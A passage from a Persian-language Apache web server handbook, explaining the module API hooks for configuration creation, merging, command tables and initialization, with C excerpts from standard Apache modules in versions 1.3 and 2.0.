void *module_create_dir_config(pool *pPool,char *szDir) 

اوليـه پيكربنـدي   گـام مقـداردهي   ، هنszDir=NULLبـه همـراه    اين ساختار يك بار براي هر مـاجول         
 در فايـل پيكربنـدي كـه        <File>، يـا    <Directory>  ،<Location> بخـش ميزبان و دوبـاره بـه ازاي هـر          

. شود  فراخواني مي   )شاخه مقداردهي شده   كه به    szPathبه همراه    (ديركتيوي از اين ماجول داشته باشند،     
 فايل در آن است فراخـواني       اي كه    همراه نام شاخه   بهنيز   htaccess.همچنين هنگام پارس كردن فايلهاي      

  . شود مي
ايـن تـابع    . شاخه است مورد نياز براي هر پيكربندي      هدف اين تابع تخصيص و مقداردهي اوليه حافظه         

گرفتـه شـده    mod_rewrite.c كـه از  2-12 مثال  به . گرداند حافظه اختصاص يافته برمي   يك اشاره گر به     
  :است، دقت كنيد

  mod_rewrite.c. 2-12 مثال 
static void *config_perdir_create(pool *p, char *path) 
{ 
    rewrite_perdir_conf *a; 
 
    a = (rewrite_perdir_conf *)ap_pcalloc(p, sizeof(rewrite_perdir_conf)); 
 
    a->state           = ENGINE_DISABLED; 
    a->options         = OPTION_NONE; 
    a->baseurl         = NULL; 
    a->rewriteconds    = ap_make_array(p, 2, sizeof(rewritecond_entry)); 
    a->rewriterules    = ap_make_array(p, 2, sizeof(rewriterule_entry)); 
 
    if (path == NULL) { 
        a->directory = NULL; 
    } 
    else { 
        /* make sure it has a trailing slash */ 
        if (path[strlen(path)-1] == '/') { 
            a->directory = ap_pstrdup(p, path); 
        } 
        else { 
            a->directory = ap_pstrcat(p, path, "/", NULL); 
        } 
    } 
 
    return (void *)a; 
} 

 
  . كند مقداردهي ميتخصيص داده و  rewrite_perdir_confحافظه براي ساختار اين تابع 

 بـه  ( )ap_palloc و apr_pool_t بـه  pool دارد آن اسـت كـه   2.0تنها تفاوتي كـه بـا آپـاچي نـسخه     
apr_palloc( )اند  تغيير نام داده .  

Pre-Config (2.0)   
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int module_pre_config(apr_pool_t *pconf,apr_pool_t 
*plog,apr_pool_t *ptemp) 

هاي شاخه و كـارگزار       در عمل سازنده  شود، در حالي كه       اجرا مي  اسماً قبل از شروع پيكربندي     اين تابع 
دهد كه    نشان مي  3-12 مثال  . مقداردهي اوليه است  ك كاربرد نوعي اين تابع در       ي. شوند  ابتدا فراخواني مي  

  .كند  براي مقداردهي تابع درهم استفاده ميmod_headers.cچگونه 
  mod_headers.c. 3-12 مثال 

static void register_format_tag_handler(apr_pool_t *p, char *tag, 
                                        void *tag_handler, int def) 
{ 
    const void *h = apr_palloc(p, sizeof(h)); 
    h = tag_handler; 
    apr_hash_set(format_tag_hash, tag, 1, h); 
} 
static int header_pre_config(apr_pool_t *p, apr_pool_t *plog, apr_pool_t 
*ptemp) 
{ 
    format_tag_hash = apr_hash_make(p); 
    register_format_tag_handler(p, "D", (void*) header_request_duration, 0); 
    register_format_tag_handler(p, "t", (void*) header_request_time, 0); 
    register_format_tag_handler(p, "e", (void*) header_request_env_var, 0); 
 
    return OK; 
} 
 

Per-Server Merger   

 

void *module_merge_server(pool *pPool, void *base_conf, void 
*new_conf) 

 بـه   base_confشود كـه      واني مي  فراخ ميزبان مجازي اين تابع براي هر     هنگام خواندن فايل پيكربندي     
 ميزبـان مجـازي   پيكربنـدي    بـه    new_confكنـد و      اشاره مي ) براي  اين ماجول   (كارگزار اصلي   پيكربندي  
 از  ميزبـان مجـازي   فيلدهاي غيـر مقـداردهي شـده         كه   كند   مي  فراهم اين تابع اين امكان را    . كند  اشاره مي 

ميزبـان  مـدخلهاي كـارگزار اصـلي را بـا            اقتـضا كنـد،     و يا در صورتي كه     كارگزار اصلي به ارث برده شوند     
   .گرداند را برمي ميزبان مجازيساختار پيكربندي گر به   اين تابع اشاره. ادغام نمايدمجازي

 4- 12 مثـال   به  . ميزبانهايي غير از ميزبان اصلي را بدهد      آپاچي اجازه ادغام    آينده  ممكن است تغييرات    
  :گرفته شده دقت كنيد mod_cgi.cكه از 

  mod_cgi.c. 4-12 مثال 
static void *merge_cgi_config(pool *p, void *basev, void *overridesv) 
{ 
    cgi_server_conf *base = (cgi_server_conf *) basev, *overrides = 
(cgi_server_conf *)overridesv; 
 
    return overrides->logname ? overrides : base; 
} 
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شاخه تواند هر كاري كه ادغام كننده      كارگزار مي ادغام كننده   يك  اگرچه اين مثال خيلي ابتدايي است،       

  . انجام دهددهد،  انجام  مي
  .  تبديل شده استapr_pool_t به poolت كه  كرده است، آن اس2.0تنها تغييري كه آپاچي دوباره، 

Per-Directory Merger   

 

void *module_dir_merge(pool *pPool, void *base_conf, void 
*new_conf) 

  
 فراخـواني   )نه براي هـر شـاخه       ( ميزبان مجازي   يك بار براي هر     ادغام كننده كارگزار، اين تابع      ه  بمشا

    .شود مي
را ادغـام   مـرتبط    <Directory> تمام بخـشهاي    اين تابع   شود،    واست پردازش مي  يك درخ هنگامي كه   
 سـپس   كند، و   روع كرده و به پايين حركت مي      از ريشه ش  يك در ميان،    ( htaccess.فايلهاي  كرده و سپس    

   .كند ادغام مي  را نيز به همان ترتيب<Location> و <File>بخشهاي 
 تركيبهـاي مختلـف   احتمالا با   كارگزار  هنگام اجراي   شاخه   كننده    ادغام،  ادغام كننده كارگزار    برخلاف  
بنابراين در صـورتي كـه   . شود فراخواني مي براي هر درخواست   و فايل    (Location)شاخه، محل   يپكربندي  

  .مهم است) new_confدر (پيكربندي كپي كردن چگونگي قصد داريد اين تابع را تغيير دهيد، 
ايجـاد كـردن پيكربنـدي شـاخه انتخـاب          به عنوان مثال بـراي      را   mod_rewrite.cحال علت اينكه ما     

  : نگاه كنيد5-12 مثال به . شود كرديم، مشخص مي
  mod_rewrite.c. 5-12 مثال 

static void *config_perdir_merge(pool *p, void *basev, void *overridesv) 
{ 
    rewrite_perdir_conf *a, *base, *overrides; 
    a     = (rewrite_perdir_conf *)pcalloc(p, sizeof(rewrite_perdir_conf)); 
    base  = (rewrite_perdir_conf *)basev; 
    overrides = (rewrite_perdir_conf *)overridesv; 
 
    a->state           = overrides->state; 
    a->options         = overrides->options; 
    a->directory       = overrides->directory; 
    a->baseurl         = overrides->baseurl; 
    if (a->options & OPTION_INHERIT) { 
        a->rewriteconds = append_arrays(p, overrides->rewriteconds,  
             base->rewriteconds); 
        a->rewriterules = append_arrays(p, overrides->rewriterules,  
             base->rewriterules); 
    } 
    else { 
        a->rewriteconds = overrides->rewriteconds; 
        a->rewriterules = overrides->rewriterules; 
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    } 
    return (void *)a; 
} 

 

پيكربنـدي جديـد گزينـه      بـسته بـه ايـن كـه         اصـلي   ، پيكربنـدي    كنيـد   همان طور كـه مـشاهده مـي       
INHERENTشود  را مشخص كرده باشد يا نه، كپي مي.  

به .  تبديل شده است   apr_pool_t به   pool كرده است، آن است كه       2.0دوباره، تنها تغييري كه آپاچي      
  . است، نگاه كنيدmod_env.c كه بخش منتخبي از 6-12 مثال 

  mod_env.c. 6-12 مثال 
static void *merge_env_dir_configs(pool *p, void *basev, void *addv) 
{ 
    env_dir_config_rec *base = (env_dir_config_rec *) basev; 
    env_dir_config_rec *add = (env_dir_config_rec *) addv; 
    env_dir_config_rec *new = 
    (env_dir_config_rec *) ap_palloc(p, sizeof(env_dir_config_rec)); 
    table *new_table; 
    table_entry *elts; 
    array_header *arr; 
    int i; 
    const char *uenv, *unset; 
 
    new_table = ap_copy_table(p, base->vars); 
 
    arr = ap_table_elts(add->vars); 
    elts = (table_entry *)arr->elts; 
 
    for (i = 0; i < arr->nelts; ++i) { 
        ap_table_setn(new_table, elts[i].key, elts[i].val); 
    } 
 
    unset = add->unsetenv; 
    uenv = ap_getword_conf(p, &unset); 
    while (uenv[0] != '\0') { 
        ap_table_unset(new_table, uenv); 
        uenv = ap_getword_conf(p, &unset); 
    } 
 
    new->vars = new_table; 
 
    new->vars_present = base->vars_present || add->vars_present; 
 
    return new; 
} 
 

متغيرهـا و مقـادير   جـدول  ( base varsبعـدا جـدول   كنـد كـه    پيكربندي جديدي ايجاد مـي اين تابع 
آنهـا را در  رفتـه و   addv varsجـدول  به سراغ تـك تـك فيلـدهاي    سپس . شود در آن كپي مي) محيطي

  . كند ردهي ميجدول جديد مقدا
 2.0نـسخه   در  . شامل تغييراتي است ولي در نگاه نزديك بـسيار مـشابه هـستند            تابع   از اين    2.0نسخه  

  .شود استفاده از نام مختلف توابع داده مياجازه 
static void *merge_env_dir_configs(apr_pool_t *p, void *basev, void *addv) 
{ 
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    env_dir_config_rec *base = basev; 
    env_dir_config_rec *add = addv; 
    env_dir_config_rec *res = apr_palloc(p, sizeof(*res)); 
    const apr_table_entry_t *elts; 
    const apr_array_header_t *arr; 
    int i; 
 
    res->vars = apr_table_copy(p, base->vars); 
    res->unsetenv = NULL; 
 
    arr = apr_table_elts(add->unsetenv); 
    elts = (const apr_table_entry_t *)arr->elts; 
 
    for (i = 0; i < arr->nelts; ++i) { 
        apr_table_unset(res->vars, elts[i].key); 
    } 
 
    arr = apr_table_elts(add->vars); 
    elts = (const apr_table_entry_t *)arr->elts; 
 
    for (i = 0; i < arr->nelts; ++i) { 
        apr_table_setn(res->vars, elts[i].key, elts[i].val); 
    } 
 
    return res; 
} 

  

Command Table   

 

command_rec aCommands[] 

 

يـك  هـر مـدخل     . كنـد   اره مـي  كند اش   اي از ديركتيوها كه ماجول را پيكربندي مي         آرايهاين ساختار به    
كـدام  كنـد كـه    مـشخص مـي   مـشخص كـرده و       بـراي راهبـري آن       راديركتيو را نامگذاري كـرده، تـابعي        

چگونگي هر مدخل سپس . بايد وجود داشته باشند براي مجاز شدن دستور      AllowOverrideديركتيوهاي  
صـورت وجـود خطـاي نحـوي        هاي خطـا را در        پيامآرگومانهاي ديركتيوها را مشخص كرده و       پارس شدن   

  .كند معلوم مي
  :آمده است  http_config.c در command_recتعريف 

typedef struct command_struct { 
  const char *name;          /* Name of this command */ 
  const char *(*func)( );     /* Function invoked */ 
  void *cmd_data;            /* Extra data, for functions that 
                              * implement multiple commands... 
                              */ 
  int req_override;          /* What overrides need to be allowed to 
                              * enable this command 
                              */ 
  enum cmd_how args_how;     /* What the command expects as arguments */ 
   
  const char *errmsg;        /* 'usage' message, in case of syntax errors */ 
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} command_rec; 
  

 ـ     اين تعريف    2.0توجه داشته باشيد كه در نسخه        نـوع ديگـري را بـراي       ي  تا حد زيادي درست است ول
  :دهند، ارائه كرده است مي command_recsمقداردهي صريح اجازه كه كمپايلرهايي 

enum cmd_how { 
  RAW_ARGS,                     /* cmd_func parses command line itself */ 
  TAKE1,                        /* one argument only */ 
  TAKE2,                        /* two arguments only */ 
  ITERATE,                      /* one argument, occurring multiple times 
                                 * (e.g., IndexIgnore) 
                                 */ 
  ITERATE2,                     /* two arguments, 2nd occurs multiple times 
                                 * (e.g., AddIcon) 
                                 */ 
  FLAG,                         /* One of 'On' or 'Off' */ 
  NO_ARGS,                      /* No args at all, e.g. </Directory> */ 
  TAKE12,                       /* one or two arguments */ 
  TAKE3,                        /* three arguments only */ 
  TAKE23,                       /* two or three arguments */ 
  TAKE123,                      /* one, two, or three arguments */ 
  TAKE13                        /* one or three arguments */ 
}; 

 

 funcتابع  ديركتيو متناظر آن در فايل پيكربندي يافت شد،         هنگامي كه   كنند    ها مشخص مي    اين گزينه 
  : داشته باشيمcmd_params ولي قبل از آن نگاهي به ساختار .چگونه فراخواني شود

typedef struct { 
    void *info;                 /* Argument to command from cmd_table */ 
    int override;               /* Which allow-override bits are set */ 
    int limited;                /* Which methods are <Limit>ed */ 
 
    configfile_t *config_file;  /* Config file structure from pcfg_openfile( ) */ 
 
    ap_pool *pool;              /* Pool to allocate new storage in */ 
    struct pool *temp_pool;     /* Pool for scratch memory; persists during 
                                 * configuration, but wiped before the first 
                                 * request is served... 
                                 */ 
    server_rec *server;         /* Server_rec being configured for */ 
    char *path;                 /* If configuring for a directory, 
                                 * pathname of that directory. 
                                 * NOPE!  That's what it meant previous to the 
                                 * existance of <Files>, <Location> and regex 
                                 * matching.  Now the only usefulness that can 
                                 * be derived from this field is whether a 
command 
                                 * is being called in a server context (path == 
NULL) 
                                 * or being called in a dir context (path != 
NULL). 
                                 */ 
    const command_rec *cmd;     /* configuration command */ 
    const char *end_token;      /* end token required to end a nested section */ 
    void *context;              /* per_dir_config vector passed  
                                 * to handle_command */ 
} cmd_parms; 

  
  .شود داده ميمتناظر است، ابعي كه به هر ديركتيو پر شده و به تاين ساختار 
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پر شـده كـه      command_rec.cmd_data مقدار   بر اساس    cmd_params.infoتوجه داشته باشيد كه     
در صـورت   ( اختار پيكربنـدي شـاخه    س ـايـن تـابع     به  . به تابع داده شود   دلخواه  دهد كه اطلاعات      اجازه مي 

 بـا   module_structبا جايگزين كـردن      پيكربندي كارگزار توسط فراخواني مشابه زير        .شود  داده مي ) وجود
  :قابل دسترسي است ماجول خودتان، moduleساختار 

ap_get_module_config(parms->server->module_config, &module_struct) 
 

  : داردargs_howدادن است كه بسته به مقدار نيز قابل البته اطلاعات بيشتري 
RAW_ARGS  

func(cmd_parms *parms, void *mconfig, char *args) 

args  يعني با حذف خود ديركتيو(ادامه خط است(.  
 

NO_ARGS  
func(cmd_parms *parms, void *mconfig)  

 
TAKE1  

func(cmd_parms *parms, void *mconfig, char *w) 

w تنها آرگومان ديركتيو است.  
TAKE2, TAKE12  

func(cmd_parms *parms, void *mconfig, char *w1, char *w2)  
w1     و w2    ديركتيو هستند دو آرگومان .TAKE12       آرگومان دوم اختياري است     به اين معني است كه

  . خواهد بودNULL برابر w2و در صورت موجود نبودن مقدار 
 

TAKE3, TAKE13, TAKE23, TAKE123  
func(cmd_parms *parms, void *mconfig, char *w1, char *w2, char *w3)  

  
w1،w2   و w3    سه آرگومان ديركتيو هستند .TAKE13  ،TAKE23   و ،TAKE123     به اين معني است 

 وجـود غيـر م آرگومانهـاي  . گيـرد  يك دو يا سه آرگومان مـي ديركتيو يك يا سه، دو يا سه، و        به ترتيب   كه  
NULL خواهند بود.  

 
ITERATE  

func(cmd_parms *parms, void *mconfig, char *w) 
 

func شود مكرر به ازاي هر آرگوماني كه دنبال ديركتيو آمده است، فراخواني مي.  
 
ITERATE2  

func(cmd_parms *parms, void *mconfig, char *w1, char *w2)  
 

 .شـود    فراخـواني مـي   ) از آرگومان دوم  ( ازاي هر آرگومان    به func .دبايد حداقل دو آرگومان موجود باش     
  .شود  داده ميfuncبه ازاي هر فراخواني به اولي 

 
FLAG  

func(cmd_parms *parms, void *mconfig, int f)  
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 صـفر  f بـودن مقـدار   Offغير صفر و در صـورت        f بودن   On باشد، در صورت     Off يا   Onآرگومان بايد   
  .خواهد بود

ايمـن از    مقـداردهي     هزجـا ا ايـن كـار      .ماكروي خاصي براي تعريف كردن دارند      هر يك    2.0در آپاچي   
به جـاي اسـتفاده مـستقيم از    مثلاً   بنابراين   .دهد  ميكنند،    پشتيباني مي را به كمپايلرهايي كه از آن        4گونه

 اسـتفاده   command_recساختار   براي پر كردن     AP_INIT_ITEARTEاز ماكروي   ،   ITERATEپرچم  
  .كنيد

req_overrideكه باهم (تركيبي از مقادير زير باشد تواند   ميORشوند  مي(:  
#define OR_NONE 0 
#define OR_LIMIT 1 
#define OR_OPTIONS 2 
#define OR_FILEINFO 4 
#define OR_AUTHCFG 8 
#define OR_INDEXES 16 
#define OR_UNSET 32 
#define ACCESS_CONF 64 
#define RSRC_CONF 128 
#define OR_ALL (OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_INDEXES) 
2.0 adds one extra option: 
 
#define EXEC_ON_READ 256      

/**< force directive to execute a command  
                    which would modify the configuration (like including 
                    another file, or IFModule */ 

  
ايـن   منطقي   AND. كند  تعريف مي شود را     ديركتيو اجازه داده مي   يك  تحت آن   شرايطي كه   اين پرچم   

مقـدار   در فايلهـاي پيكربنـدي       .ديركتيو مجاز باشـد   غير صفر باشد تا      بايد   overrideوضعيت فعلي   فيلد و   
  :عبارتست از باشد، <Directory>امي كه خارج از بخش هنگ overrideوضعيت 

RSRC_CONF|OR_OPTIONS|OR_FILEINFO|OR_INDEXES 
 

  :اين مقدار برابر خواهد بود با باشد، <Directory>هنگامي كه داخل بخش 
ACCESS_CONF|OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_INDEXES 

  
 كـه از    7-12 مثـال   بـه   . ودش   تعيين مي  AllowOverrideديركتيو  سط  حالت تو  htaccess.در فايلهاي   
mod_mime.c ،نگاه كنيد انتخاب شده است:  

 mod_mime.c. 7-12 مثال 
static const command_rec mime_cmds[] = 
{ 
    {"AddType", add_type, NULL, OR_FILEINFO, ITERATE2, 
     "a mime type followed by one or more file extensions"}, 
    {"AddEncoding", add_encoding, NULL, OR_FILEINFO, ITERATE2, 
     "an encoding (e.g., gzip), followed by one or more file extensions"}, 
    {"AddCharset", add_charset, NULL, OR_FILEINFO, ITERATE2, 

                                                 
4 type-safe initialization  
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     "a charset (e.g., iso-2022-jp), followed by one or more file 
extensions"}, 
    {"AddLanguage", add_language, NULL, OR_FILEINFO, ITERATE2, 
     "a language (e.g., fr), followed by one or more file extensions"}, 
    {"AddHandler", add_handler, NULL, OR_FILEINFO, ITERATE2, 
     "a handler name followed by one or more file extensions"}, 
    {"ForceType", ap_set_string_slot_lower,  
     (void *)XtOffsetOf(mime_dir_config, type), OR_FILEINFO, TAKE1,  
     "a media type"}, 
    {"RemoveHandler", remove_handler, NULL, OR_FILEINFO, ITERATE, 
     "one or more file extensions"}, 
    {"RemoveEncoding", remove_encoding, NULL, OR_FILEINFO, ITERATE, 
     "one or more file extensions"}, 
    {"RemoveType", remove_type, NULL, OR_FILEINFO, ITERATE, 
     "one or more file extensions"}, 
    {"SetHandler", ap_set_string_slot_lower,  
     (void *)XtOffsetOf(mime_dir_config, handler), OR_FILEINFO, TAKE1,  
     "a handler name"}, 
    {"TypesConfig", set_types_config, NULL, RSRC_CONF, TAKE1, 
     "the MIME types config file"}, 
    {"DefaultLanguage", ap_set_string_slot, 
     (void*)XtOffsetOf(mime_dir_config, default_language), OR_FILEINFO, 
TAKE1, 
     "language to use for documents with no other language file extension" }, 
    {NULL} 
}; 

  
 cmd_dataاين تابع استاندارد از افست تعريف شـده در  .  دقت كنيد( )set_string_slotبه استفاده از  

مثال به . ندك ، استفاده ميي ماجولا شاخهپيكربندي  در   *charبراي مقداردهي    XtOffsetOfبا استفاده از    
  .انتخاب شده دقت كنيد mod_mime.c ز كه ا12-8 

  mod_mime.c. 8-12 مثال 
static const command_rec mime_cmds[] = 
{ 
AP_INIT_ITERATE2("AddCharset", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, charset_type), OR_FILEINFO, 
     "a charset (e.g., iso-2022-jp), followed by one or more file 
extensions"), 
AP_INIT_ITERATE2("AddEncoding", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, encoding_type), OR_FILEINFO, 
     "an encoding (e.g., gzip), followed by one or more file extensions"), 
AP_INIT_ITERATE2("AddHandler", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, handler), OR_FILEINFO, 
     "a handler name followed by one or more file extensions"), 
AP_INIT_ITERATE2("AddInputFilter", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, input_filters), OR_FILEINFO, 
     "input filter name (or ; delimited names) followed by one or more file 
extensions"), 
AP_INIT_ITERATE2("AddLanguage", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, language_type), OR_FILEINFO, 
     "a language (e.g., fr), followed by one or more file extensions"), 
AP_INIT_ITERATE2("AddOutputFilter", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, output_filters), OR_FILEINFO,  
     "output filter name (or ; delimited names) followed by one or more file 
extensions"), 
AP_INIT_ITERATE2("AddType", add_extension_info,  
         (void *)APR_XtOffsetOf(extension_info, forced_type), OR_FILEINFO,  
     "a mime type followed by one or more file extensions"), 
AP_INIT_TAKE1("DefaultLanguage", ap_set_string_slot, 
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       (void*)APR_XtOffsetOf(mime_dir_config, default_language), OR_FILEINFO, 
     "language to use for documents with no other language file extension"), 
AP_INIT_ITERATE("MultiviewsMatch", multiviews_match, NULL, OR_FILEINFO, 
     "NegotiatedOnly (default), Handlers and/or Filters, or Any"), 
AP_INIT_ITERATE("RemoveCharset", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, charset_type), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveEncoding", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, encoding_type), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveHandler", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, handler), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveInputFilter", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, input_filters), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveLanguage", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, language_type), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveOutputFilter", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, output_filters), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_ITERATE("RemoveType", remove_extension_info,  
        (void *)APR_XtOffsetOf(extension_info, forced_type), OR_FILEINFO, 
     "one or more file extensions"), 
AP_INIT_TAKE1("TypesConfig", set_types_config, NULL, RSRC_CONF, 
     "the MIME types config file"), 
    {NULL} 
}; 

  
 همچنـين توجـه     .كنيد، از ماكرو براي مقداردهي ساختار استفاده شده است          همان طور كه مشاهده مي    

  . تبديل شده است( ) ap_set_string_slot به ( ) set_string_slotكنيد كه 
 

Initializer   

 

void module_init(server_rec *pServer, pool *pPool) [1.3] 

int module_post_config(apr_pool_t *pPool, apr_pool_t *pLog, 
apr_pool_t *pTemp, server_rec *pServer) [2.0] 

  
 تغييـر نـام داده      post_configبه صورت دقيقتـري بـه        2.0 است ولي در     initاين به نام     1.3در آپاچي   

  .است
 دوام دارد   تغييـر پيكربنـدي   كـه تـا      pPoolفراهم شده است به ترتيب عبارتنـد از           5مخزنسه   2.0در  

فايلهـاي  مخـتص   كه پس از هر بـار خوانـدن فايـل پيكربنـدي    كه مخزني  pLog؛ )1.3 در pPoolمعادل  (

                                                 
5 Pool :ندرو ها و ديگر اشياء به كار مي هساختارهايي تعريف شده در آپاچي هستند كه براي استفاده مجدد از حافظ.  
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و  ؛ )ودش ـ دو بـار خوانـده مـي   براي هر بـاز پيكربنـدي       به ياد داشته باشيد كه       (شود   پاك مي  رويدادنگاري،
ptemp  شود پاك ميتكميل پيكربندي است كه پس از كه يك مخزن موقتي.  
 .شـود  فراخـواني مـي  راهبـري درخواسـتها،   ولي قبـل از  فايل پيكربندي هر بار خواندن تابع پس از   اين  
، بنـابراين در    شـود   شود، مجدداً فراخـواني مـي       كارگزار باز پيكربندي مي   ، هر بار كه     ع پيكربندي توابمشابه  
قبل از   اين آخرين تابعي است كه آپاچي        .وانيهاي دوم و بعدي بايد دقت كرد كه به درستي عمل كند           فراخ

گـري بـه      اشـاره  pServer. دكن ـ  ، فراخـواني مـي     براي راهبـري درخواسـتها     فرزندي  ها  پردازه (fork)ايجاد  
server_rec   ميزبان اصلي است  .pPool   يكpool    دارد دوامتـا هنگـام بـاز پيكربنـدي كـارگزار            است كه  .

  :توجه داشته باشيد كه حداقل در نسخه فعلي آپاچي
pServer->server_hostname  

  . مقداردهي نشودممكن است 
بـين همـه     ،pServerسـاختار    nextه از فيلد    توان با استفاد    ميكارگزارها  اي  ه  پيكربنديتكرار در   براي  

  :حركت كردآنها 
for( ; pServer ; pServer=pServer->next) 
    ; 

  :، دقت كنيدانتخاب شده است mod_mime.cكه از  9-12 مثال به 
#define MIME_HASHSIZE (32) 
#define hash(i) (ap_tolower(i) % MIME_HASHSIZE) 
 
static table *hash_buckets[MIME_HASHSIZE]; 
 
static void init_mime(server_rec *s, pool *p) 
{ 
    configfile_t *f; 
    char l[MAX_STRING_LEN]; 
    int x; 
    char *types_confname = ap_get_module_config(s->module_config, 
&mime_module); 
 
    if (!types_confname) 
        types_confname = TYPES_CONFIG_FILE; 
 
    types_confname = ap_server_root_relative(p, types_confname); 
 
    if (!(f = ap_pcfg_openfile(p, types_confname))) { 
        ap_log_error(APLOG_MARK, APLOG_ERR, s, 
"could not open mime types log file %s.", types_confname); 
        exit(1); 
    } 
 
    for (x = 0; x < MIME_HASHSIZE; x++) 
        hash_buckets[x] = ap_make_table(p, 10); 
 
    while (!(ap_cfg_getline(l, MAX_STRING_LEN, f))) { 
        const char *ll = l, *ct; 
 
        if (l[0] == '#') 
            continue; 
        ct = ap_getword_conf(p, &ll); 



  169    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

 
        while (ll[0]) { 
            char *ext = ap_getword_conf(p, &ll); 
            ap_str_tolower(ext);   /* ??? */ 
            ap_table_setn(hash_buckets[hash(ext[0])], ext, ct); 
        } 
    } 
    ap_cfg_closefile(f); 
} 
 

كـه  . كنـد   فراهم شده استفاده مي    APR كه توسط    hash از يك مقدار      mod_mime.cدر  تابع مشابهي   
  :نماييد  مشاهده مي 10-12 مثال در 

   mod_mime.c .10-12 مثال 
static apr_hash_t *mime_type_extensions; 
 
static int mime_post_config(apr_pool_t *p, apr_pool_t *plog, apr_pool_t 
*ptemp, server_rec *s) 
{ 
    ap_configfile_t *f; 
    char l[MAX_STRING_LEN]; 
    const char *types_confname = ap_get_module_config(s->module_config, 
&mime_module); 
    apr_status_t status; 
 
    if (!types_confname) 
        types_confname = AP_TYPES_CONFIG_FILE; 
 
    types_confname = ap_server_root_relative(p, types_confname); 
 
    if ((status = ap_pcfg_openfile(&f, ptemp, types_confname)) != 
APR_SUCCESS) { 
        ap_log_error(APLOG_MARK, APLOG_ERR, status, s, 
       "could not open mime types config file %s.", 
types_confname); 
        return HTTP_INTERNAL_SERVER_ERROR; 
    } 
 
    mime_type_extensions = apr_hash_make(p); 
 
    while (!(ap_cfg_getline(l, MAX_STRING_LEN, f))) { 
        const char *ll = l, *ct; 
 
        if (l[0] == '#') 
            continue; 
        ct = ap_getword_conf(p, &ll); 
 
        while (ll[0]) { 
            char *ext = ap_getword_conf(p, &ll); 
            ap_str_tolower(ext);   /* ??? */ 
            apr_hash_set(mime_type_extensions, ext, APR_HASH_KEY_STRING, ct); 
        } 
    } 
    ap_cfg_closefile(f); 
    return OK; 
} 
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Child Initialization   

 
static void  
module_child_init(server_rec *pServer,pool *pPool) 

  
يـك بـار بـه     ( ) module_child_init. استكارگزار آپاچي از چندين پردازه تشكيل شده در يونيكس 

 بايد توجـه داشـت كـه فـضاي آدرس، متغيرهـا، سـطح اجـراي و ديگـر               .شود  فراخواني مي پردازه  هر  ازاي  
نيـز بـه ازاي     همچنـين يـك فراخـواني       . ويژگيهاي اجرايي هر پردازه متفاوت و مختص به آن پردازه است          

  .پردازه فرزند وجود دارد كه در ادامه فصل به آن اشاره خواهد شدخروج 
  :انتخاب شده دقت كنيد mod_unique_id.c كه از 11-12 مثال به 

   mod_unique_id.c .11-12 مثال 
static void unique_id_child_init(server_rec *s, pool *p) 
{ 
    pid_t pid; 
#ifndef NO_GETTIMEOFDAY 
    struct timeval tv; 
#endif 
 
    pid = getpid( ); 
    cur_unique_id.pid = pid; 
 
    if (cur_unique_id.pid != pid) { 
        ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_CRIT, s, 
                    "oh no! pids are greater than 32-bits!  I'm broken!"); 
    } 
 
    cur_unique_id.in_addr = global_in_addr; 
 
#ifndef NO_GETTIMEOFDAY 
    if (gettimeofday(&tv, NULL) == -1) { 
        cur_unique_id.counter = 0; 
    } 
    else { 
        cur_unique_id.counter = tv.tv_usec / 10; 
    } 
#else 
    cur_unique_id.counter = 0; 
#endif 
 
    cur_unique_id.pid = htonl(cur_unique_id.pid); 
    cur_unique_id.counter = htons(cur_unique_id.counter); 
} 

  
در ميــان ي هــر درخواســت ا انحــصاري بــرID ه يــا شناســفــراهم كــردن mod_unique_id.cهــدف 

از بيتهـاي مختلفـي بـراي     براي اين كـار  .است) يك سايت خاص يا حداقل در    (كارگزارهاي وب در هر جا      
  .كند  پردازه فرزند و زماني كه ايجاد شده استفاده ميشناسهانحصاري كردن شامل 
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  :گزيند بستر دوري ميهاي  ياز وابستگ APRتر است، زيرا   كمي ساده2.0تابع مشابه در 
static void unique_id_child_init(apr_pool_t *p, server_rec *s) 
{ 
    pid_t pid; 
    apr_time_t tv; 
 
    pid = getpid( ); 
    cur_unique_id.pid = pid; 
    if ((pid_t)cur_unique_id.pid != pid) { 
        ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_CRIT, 0, s, 
                    "oh no! pids are greater than 32-bits!  I'm broken!"); 
    } 
    cur_unique_id.in_addr = global_in_addr; 
    tv = apr_time_now( ); 
    cur_unique_id.counter = (unsigned short)(tv % APR_USEC_PER_SEC / 10); 
    cur_unique_id.pid = htonl(cur_unique_id.pid); 
    cur_unique_id.counter = htons(cur_unique_id.counter); 
} 
 
 

Post Read Request   

 
static int module_post_read_request(request_rec *pReq) 

  
 (redirect)گرمسيردهي  ديدر صورت   سرآيندهاي درخواست يا    خوانده شدن   اين تابع بلافاصله پس از       

 يـا   OK  ،DECLINEDتوانـد     شود و مـي     زيردرخواستها فراخواني نمي   ولي براي     .شود  ، فراخواني مي  داخلي
. شـود   ماجول ديگري فراخواني نمـي     برگرداند،   DECLINEDاز چيزي غير از     . هر كد حالت ديگر برگرداند    

  . كند ماجول پراكسي است استفاده ميماجول استاندارد آپاچي كه از اين تابع در حال حاضر تنها 
